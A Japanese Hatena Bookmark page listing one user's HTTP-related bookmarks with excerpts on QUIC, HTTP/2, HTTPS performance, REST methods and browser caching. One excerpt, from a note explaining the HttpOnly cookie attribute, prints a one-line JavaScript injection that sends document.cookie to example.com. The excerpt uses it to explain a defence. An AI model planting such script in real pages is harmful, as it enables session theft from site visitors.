[B! HTTP] yamadarのブックマーク

QUICをゆっくり解説(1)：QUICが標準化されました | IIJ Engineers Blog

Haskellコミュニティでは、ネットワーク関連を担当。4児の父であり、家庭では子供たちと、ジョギング、サッカー、スキー、釣り、クワガタ採集をして過ごす。不定期連載を始めます IIJ-II 技術研究所技術開発室の山本です。私はプログラミング言語HaskellでHTTP/2とTLS 1.3を実装した後、もっぱらQUICを実装することに時間を費やしてきました。ご存知の方もいらっしゃると思いますが、今年の5月にQUICの仕様がRFC9000として公開されました。このRFCは実によく書かれているので、読みこなせばQUICの全容が掴めるでしょう。しかし仕様は膨大ですし、実際に実装してみて初めて腑に落ちることもあります。そこでこの機会に、実際にQUICを実装した経験者目線で、QUICの解説をしていきたいと思います。なんとなくTCP/IPを分かっている方が、ある程度QUICの理解ができることを

yamadar 2021/07/01

リンク

「URLの長さは2,000文字より短くした方がいい」とGoogleのMueller氏がアドバイス｜ SEOモード

﹁URLはどれくらい長ければ長すぎるといえるのでしょうか﹂という質問が英語版ウェブマスターフォーラムに投稿され、John Mueller氏が﹁2,000文字より短くした方がいい﹂とアドバイスしています。投稿された質問は以下です。 URLはどれくらい長ければ長すぎるといえるのでしょうか？私たちが使っているツールによれば、http://www.tlcingredients.com/about-us…が長すぎるというのですが、本当でしょうか？ Mueller氏は次のようにアドバイスしています。私が知っている限りでは、理論上長さの制限はありません。しかし、管理できるようにしておくために、2000字よりも短くしておくことをお勧めします。あなたの挙げたURLはそれよりはずっと短いようです。だから長さには問題ありません。(…) Mueller氏のいうように基本的にURLはできるだけ短くまとめた方がい

yamadar 2015/07/29

+IE
HTTP

リンク

21世紀のエンジニアのためのHTTP/2入門 | κeenのHappy Hacκing Blog

第3会FRESH勉強会で発表予定のスライド。HTTPについて詳しくない人のために HTTPの概要から先日RFC化されたHTTP/2の新機能、使いどころを解説します。

yamadar 2015/05/22

リンク

なぜHTTPSはHTTPより速いのか

先週、httpvshttps.com というウェブサイトが公開されました。このウェブサイトでは、HTTP と HTTPS を用いてアクセスした場合のウェブページのダウンロード完了までにかかる時間の比較ができるのですが、多くの環境で HTTPS の方が HTTP よりも高速なことに驚きの声が上がっていました。 HTTP が TCP 上で平文を送受信するのに対し、HTTPS は TCP 上で TLS (SSL) という暗号化技術を用いて通信を行います。ならば、TLS のオーバーヘッドのぶん HTTPS のほうが遅いはずだ、という予測に反する結果になったのですから、驚くのも無理はありません。実は、この結果にはからくりがありました。 Google Chrome、Mozilla Firefox、最近のSafari注1は、Google が開発した通信プロトコル﹁SPDY﹂に対応しており、HTTPS

yamadar 2014/12/08

この結果は意外。でも原理を知ると納得。ちなみに、スマホのChrome で、google をgatewayにする通信︵全部覗かれてるんだろうな)にすると、通信量が半分ぐらいまで圧縮される。 ●サーバー ●パフォーマンス ●HTTP

リンク

TechCrunch | Startup and Technology News

Cloudera, the once high flying Hadoop startup, raised $1 billion and went public in 2018 before being acquired by private equity for $5.3 billion 2021. Today, the company announced that…

yamadar 2014/11/19

素晴らしい試み。

リンク

なぜ html の form は PUT / DELETE をサポートしないのか？ - Block Rockin’ Codes

注意内容については一切保証しません。ここでは、主に W3C ML での議論や各種仕様などに基づいて書いています。ここに書かれていることが正しいかどうかは、自身で判断して下さい。事実としておかしいところなどは、コメントでどんどん指摘して下さい。遠慮はいりません。ただし、このエントリでは「form が PUT/DELETE をサポートするべきかどうか？」の議論はしません。「REST の是非」や「PUT/DELETE の意義」についても議論する気はありません。ここでやっているのは、あくまでもどういった議論の末現状があるのかの調査です。そうした意見がある場合は、 W3C などに投稿するのが最も有益だと思います。 History 2014/03/29: 公開 2014/03/29: XForm と XHTML の関係を明確化(thanx koichik) 2014/03/29: HT

yamadar 2014/10/21

リンク

HTTPメソッドのPOSTとPUTの使い分け - アインシュタインの電話番号

どこで見たか忘れたけど、POSTはURLが変わる場合に使用して、PUTはURLが変わらない場合に使用する、と書かれたページを読んだことがあって、POSTとPUTの使い分けはそうするものだと思ってた。が、これは間違い^1っぽい。Webアプリ制作におけるバイブルとも言えるWebを支える技術を読み返していたら、これらの使い分けの指針が載っていて、それは自分が覚えてた使い方と逆だった。 POSTとPUTを使い分ける指針 POSTとPUTを使い分けるのに明確な答えはないみたいだけど、Webを支える技術では以下のような設計上の指針を紹介されていた。これには正解は存在しませんが、設計上の指針として次の事実があります。 POSTでリソースを作成する場合、クライアントはリソースのURIを指定できません。URIの決定権はサーバ側にあります。逆にPUTでリソースを作成する場合、リソースのURIはクライアントが

yamadar 2014/10/21

"PUTのほうがどうしてもサーバとの結合が密になります。特別な理由がない限りは、リソースの作成はPOSTで行いURIもサーバ側で決定する、という設計が望ましいでしょう。"

リンク

Cookieを盗む例とhttponly属性 at softelメモ

以下は、とても単純なJavascriptによる例。 document.write('<img src="http://example.com/?x=' +escape(document.cookie) + '">'); example.com に対してGET渡しでdocument.cookieが送信される。取得されたcookieにセッションIDが含まれるとセッションIDが他人に知られるところとなる。リンクを踏ませるなどの方法でHTML中に上のようなスクリプトを仕込むことができると、攻撃が成立する。対策例 document.cookieで取得できてしまうから危険なのでは？ → 発行するcookieにhttponly属性を付与して、document.cookieで取得できなくしよう WordPressでも以下のような書き方をしていた。PHP5.2.0で追加された第7引数でhttponly

yamadar 2014/08/19

HttpOnly属性について

リンク

はてなブログにおけるページ表示速度改善の取り組みについて - Hatena Developer Blog

こんにちは、id:hakobe932です。はてなブログではユーザ体験の改善のために、ページ表示速度を向上させるための様々な取り組みを行っています。このエントリーでは、はてなブログで行っている、ブラウザキャッシュの活用、JavaScriptのページ最下部での読み込み、JavaScriptの圧縮、という3つの取り組みについて解説します。ブラウザキャッシュの活用同じ内容のJavaScriptやCSSを、ページを表示するたびにダウンロードすると、余分なHTTPリクエストが発生しますし、読み込み時間がかかります。ブラウザのキャッシュを利用できれば、余分なリクエストを減らすことができます。はてなブログでは、なるべく長い間ブラウザにキャッシュを保存するために、JavaScriptなどの一部の種類のファイルのレスポンスに、以下のようなヘッダを指定しています。 $ curl -I http://hat

yamadar 2014/03/14

リンク

HTTP Archive Viewer

yamadar 2014/03/11

harファイルを読み込んで表示するサービス

リンク

HTTP2でWebがどうなるか9つのこと(自分用ﾒﾓ - ASnoKaze blog

宣伝 2015/11 追記ソフトウェアデザイン11月号に HTTP/2の特集記事を書かせていただきました。より詳しく書きましたので、本記事より参考になるかと思います。 http://www.amazon.co.jp/dp/B01494YKUI HTTP2は2014年4月のWG Last Callに向けて、仕様策定が進められている。現在も、ロンドンで行われているIETFのミーティングでは熱い議論が行われているところであろう。 (local activityとして日本での活動なども紹介されているようです) HTTP2の仕様を決めているHTTPbisワーキンググループのchairであるMark Nottingham氏が、自身のブログにて﹁Nine Things to Expect from HTTP/2﹂という記事が投稿されている。ここでは、HTTP2が何をもたらすか以下の観点で説明して

yamadar 2014/03/10

HTTP
仕様

リンク

ブラウザキャッシュとレスポンスヘッダ - murankの日記

ブラウザキャッシュとレスポンスヘッダの関係を調べてみた。調べたブラウザ Firefox 3.5 IE 6 Opera 9.64 Google Chrome 2.0.172.33 レスポンスヘッダ Expires Last-Modified Cache-Control Pragma 結論以下のレスポンスヘッダを返す。 Expires、Last-Modified、Cache-Control、Pragma 以外のヘッダについては任意。キャッシュさせたい場合 Cache-Control: private, max-age=有効期間の秒数条件付GETをさせたい場合 Expires: 過去の時刻 Last-Modified: 過去の時刻キャッシュさせたくない場合 Cache-Control: no-cache 調査方法それぞれのブラウザで以下のレスポンスヘッダを返すページを読み込んだときに

yamadar 2013/12/24

HTTP

リンク

Fiddler HTTP Debugger - Fiddler

DevCraftAll Telerik .NET tools and Kendo UI JavaScript components in one package. Now enhanced with: NEW: Design Kits for FigmaOnline TrainingDocument Processing LibraryEmbedded Reporting for web and desktop

yamadar 2013/10/24

Fiddler、いつの間にかサイトが新しくなってた。

リンク

Studying HTTP

FX取引所の照会とテクニカル、経済指標の見方等を解説していきます。

yamadar 2011/09/30

勉強
HTTP

リンク

HTTPステータス・コードとメソッド - CyberLibrarian

HTTPプロトコルでは、コンピュータ同士が通信している間に、コードを用いてお互いの状態(ステータス)をやり取りしています。このコードのことをHTTPステータス・コード(HTTP Status Code)と呼び、エラーが発生した場合に「404 Not Found」のようにブラウザ上に表示されたり、エラーが発生しなかった場合にも見えないところでやり取りされています。また、通信を行うためにクライアントがサーバーに様々なリクエストを行いますが、このリクエストの方法をメソッドと呼びます。規格

yamadar 2011/05/31